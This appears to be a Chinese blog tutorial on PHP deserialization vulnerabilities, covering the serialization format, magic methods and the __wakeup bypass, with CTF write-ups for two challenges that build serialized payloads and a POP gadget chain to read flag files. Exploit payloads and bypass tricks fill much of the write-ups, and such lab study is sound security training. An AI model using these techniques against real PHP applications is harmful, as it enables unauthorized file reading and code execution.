天津市网站建设_网站建设公司_模板建站_seo优化
2025/12/28 20:00:49 网站建设 项目流程

PHP反序列化

PHP对象序列化格式

O:类名长度:"类名":属性数量:{s:属性名长度:"属性名";属性值类型:值}

基础知识

反序列化漏洞

反序列化漏洞是指在将数据从序列化格式(如JSON、XML等)还原为对象的过程中,攻击者通过注入恶意数据,可能触发对象的恶意方法或利用框架漏洞,导致代码执行、数据泄露等安全风险。核心危害在于未经验证的反序列化输入可能被恶意利用。

序列化与反序列化

1.序列化

将对象object、字符串string、数组array、变量,转换成具有一定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式

在PHP中通过serialize()函数实现:

<?php
class Person {public $name = "Tom";private $age = 18;protected $sex = "male";public function hello() {echo "hello";}
}
$class = new Person();
$class_ser = serialize($class);
echo $class_ser;
?>

输出:

O:6:"Person":3:{s:4:"name";s:3:"Tom";s:11:"Personage";i:18;s:6:"*sex";s:4:"male";}

解析:

O:6:"Person":3:O代表object,如果是数组则为i。6代表对象名长度"Person"有六个字符。"Person"为对象名。3代表对象里成员属性数(变量数)

s:4:"name":s代表string字符串类型,长度为4,属性名"name"

i:18:i代表int整型,值为18

2.反序列化

就是序列化的逆过程,PHP中通过unseriaalize()函数实现

<?php
class Person {public $name = "Tom";private $age = 18;protected $sex = "male";public function hello() {echo "hello";}
}
$class = new Person();
$class_ser = serialize($class);		//序列化对象Person
//echo $class_ser;
$class_unser = unserialize($class_ser);		//反序列化
var_dump($class_unser);
?>

输出:

object(Person)#2 (3) { ["name"]=> string(3) "Tom" ["age":"Person":private]=> int(18) ["sex":protected]=> string(4) "male" }
补充:
  • public,没有变化
  • private,会变成 %00对象名%00属性名
  • protected,会变成 %00*%00属性名

序列化格式基础

s:length:"string"     // 字符串
i:value;              // 整数
d:value;              // 浮点数
b:value;              // 布尔值 (0/1)
a:size:{...}          // 数组
O:length:"class":size:{...}  // 对象
N;                    // NULL
r:reference;          // 引用
R:reference;          // 对象引用

魔术方法

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

反序列化漏洞的成因:

反序列化的过程中,unserialize()接收的值(字符串)可控;

通过更改这个值(字符串),得到所需要的代码

通过调用方法,触发代码执行。

魔术方法的作用就是在特定条件下自动调用相关方法,最终导致触发代码

常见魔术方法

__construct()            //类的构建函数,在创建一个类的时调用
__destruct()             //类的析构函数,对象销毁时调用
__call()                 //在对象中调用一个不可以访问方法时调用
__callStatic()           //用静态方式中调用一个不可以访问方法时调用
__get()                  //访问一个类不存在的或者私有的属性时会被调用
__isset()                //在不可访问的属性上调用isset()或empty()
__set()                  //设置一个类的成员变量时调用
__unset()                //当对不可访问属性调用unset()时被调用
__sleep()                //执行serialize()时,先会调用这个函数
__wakeup()               //执行unserialize()时,会先调用这个函数
__toString()             //类被当成字符串时的回应方法
__invoke()               //调用函数的方式调用一个对象时的回应方法
__set_state()            //调用var_export()导出类时,此静态方法被调用
__clone()                //当对象复制完成时调用
__autoload()             //尝试加载未定义的类
__debuginfo()            //打印所需调式信息
绕过__wakeup()

CVE-2016-7124:当对象属性数量大于实际数量时,__wakeup() 不会执行:

// 正常: O:4:"Test":2:{...}
// 绕过: O:4:"Test":3:{...}  (声明3个属性但实际只有2个)

例题wp

攻防世界 Web_php_unserialize

 <?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

//the secret is in the fl4g.php

代码中提示flag在fl4g.php中,需要构造payload将index.php替换为fl4g.php

private $file = 'index.php';

即需要传入file的值,注意file变量的修饰类型为private,在序列化后变量名会变为%00Demo%00file(其中%00为空字符)

所以payload:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

关注到题目代码中的三个魔法函数__construct()__destruct()__wakeup()

function __destruct() { echo @highlight_file($this->file, true); }

在页面中高亮显示$this->file,我们需要通过函数__construct()中的filefl4g.php来读取

function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } 

但是__wakeup()函数在执行__unserialize()前自动执行,会将我们传入的file=fl4g.php强制赋值为index.php,所以需要绕过

绕过姿势:

O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

然后看到输入部分

	$var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); }

'/[oc]:\d+:/i’含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

先将我们输入的var进行base64解码,再进行正则匹配,php低版本下可以通过在数字前添加+来绕过

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

最后再将payload进行base64编码,这里借鉴大佬的exp

ps:可能因为%00的原因,我直接将O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}进行base64编码后传入并不能得到答案

<?php
class Demo {private $file = 'index.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'index.php') {//the secret is in the fl4g.php$this->file = 'index.php';}}
}
$str = serialize(new Demo("fl4g.php"));
// 绕过正则
$str = str_replace('O:4', 'O:+4', $str);
// 绕过wakeup函数
$str = str_replace(':1:', ':2:', $str);
// 进行base64编码
print(base64_encode($str));
?>

最后传入?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

BUUCTF [NewStarCTF 公开赛赛道]UnserializeOne

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}if(isset($_POST['pop'])){unserialize($_POST['pop']);
}

先定义各个类对应的变量

$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();

找到flag的位置

    public function __invoke(){echo file_get_contents('/flag');}

__invoke() //调用函数的方式调用一个对象时的回应方法

    public function __isset($var){($this->func)();}

这里有提示func即为函数,要将调用函数的位置改为对象,而这个对象就是需要被触发的Sec,所以构造:

$start->func = $sec;

__isset() //在不可访问的属性上调用isset()或empty()

找到调用了isset()的地方

    public function __clone(){if(isset($this->obj->cmd)){echo "success";}}

而此处的cmd就是不可访问的属性(未声明),__isset()执行到if语句会自动调用。要调用函数需把obj换成__isset()函数所在的对象Start(可以理解为c语言中的局部变量在被调用时需要在此前被定义),所以构造:

$eeee->obj = $start;

但是要执行if语句要调用到外面的__clone()

__clone() //当对象复制完成时调用

    public function __call($fun, $var){$this->cla = clone $var[0];}

这里的clone函数执行后会直接调用__clone(),然后因为要调用到eeee类里的__clone()函数,此处的var应为eeee。注意此处变量var来源于__call()函数

__call() //在对象中调用一个不可以访问方法时调用

不可访问方法即在调用中未被定义的函数。

    public function __toString(){$this->obj->check($this->var);return "CTFers";}

此处check()并未被定义,可以被用来触发__call()。把Sec类中的obj改为easy,而Easy类中并没有定义check()可以调用,从而触发Easy类中的__call()函数。__call()的第二个函数var来源于Sec类里面的var,需要把此处var改为eeee,来满足上面___clone()函数的调用

构造payload:

$sec->obj = $easy;
$sec->var = $eeee;

接下来需要触发外面的__toString()函数

__toString() //类被当成字符串时的回应方法

    public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;}

补充:"字符串1"."字符串2" 其中的.用来连接两个字符串

所以只需将这里的name替换为一个类即可触发。构造payload:

$start->name = $sec;

最后触发__destruct()函数,调用反序列化时会自动调用该函数。

将此段代码添加在源代码后,更准确的进行序列化:

$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();$start->func = $sec;
$eeee->obj = $start;$sec->var = $eeee;
$sec->obj = $easy;$start->name = $sec;$str = serialize($start);
echo $str;

(因为我这里运行报错说private无权访问,我把protected和private全换成public后解决问题了,注意我这样用的前提是我的语句不需要用到protected和private)

得到最终的序列化payload

O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

用hackbar发送pop

附思路:

————————————————————————————
参考文章:

揭秘PHP反序列化:原理、利用链与防御,入门到精通教程!

好靶场-PHP反序列化入门练习-WP

php反序列化-CSDN博客

关于正则匹配preg_match(‘/^O:\d+/‘)的绕过的几种方法_正则匹配绕过-CSDN博客

攻防世界-web-Web_php_unserialize_攻防世界web php unser-CSDN博客

PHP反序列化研究

【Web方向】 3-1 PHP反序列化buuCTF实例UnserializeOne wp_buuctfunserialize?-CSDN博客

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询